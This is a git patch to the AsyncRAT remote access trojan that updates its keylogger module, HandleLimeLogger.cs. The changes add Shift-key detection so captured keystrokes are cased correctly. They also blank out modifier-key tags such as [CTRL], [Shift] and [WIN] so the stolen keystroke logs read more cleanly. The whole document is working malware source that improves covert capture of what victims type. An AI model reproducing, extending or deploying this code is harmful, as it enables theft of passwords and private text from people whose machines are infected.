From 3d6fc39c2c8bdc8a1076e36dc5e9300707ddf5f5 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 15 Jun 2019 18:57:26 +0300 Subject: [PATCH] Update keylogger --- .../Client/Handle Packet/HandleLimeLogger.cs | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index 86e4cd8..fbb22dc 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -56,10 +56,11 @@ namespace Client.Handle_Packet if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); - bool CapsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0; + bool capsLock = (GetKeyState(0x14) & 0xffff) != 0; + bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; string currentKey = KeyboardLayout((uint)vkCode); - if (CapsLock) + if (capsLock || shiftPress) { currentKey = KeyboardLayout((uint)vkCode).ToUpper(); } @@ -82,25 +83,31 @@ namespace Client.Handle_Packet currentKey = "[ENTER]\n"; break; case "Escape": - currentKey = "[ESC]\n"; + //currentKey = "[ESC]\n"; + currentKey = ""; break; case "LControlKey": - currentKey = "[CTRL]"; + //currentKey = "[CTRL]"; + currentKey = ""; break; case "RControlKey": - currentKey = "[CTRL]"; + //currentKey = "[CTRL]"; + currentKey = ""; break; case "RShiftKey": - currentKey = "[Shift]"; + //currentKey = "[Shift]"; + currentKey = ""; break; case "LShiftKey": - currentKey = "[Shift]"; + //currentKey = "[Shift]"; + currentKey = ""; break; case "Back": currentKey = "[Back]"; break; case "LWin": - currentKey = "[WIN]"; + //currentKey = "[WIN]"; + currentKey = ""; break; case "Tab": currentKey = "[Tab]\n";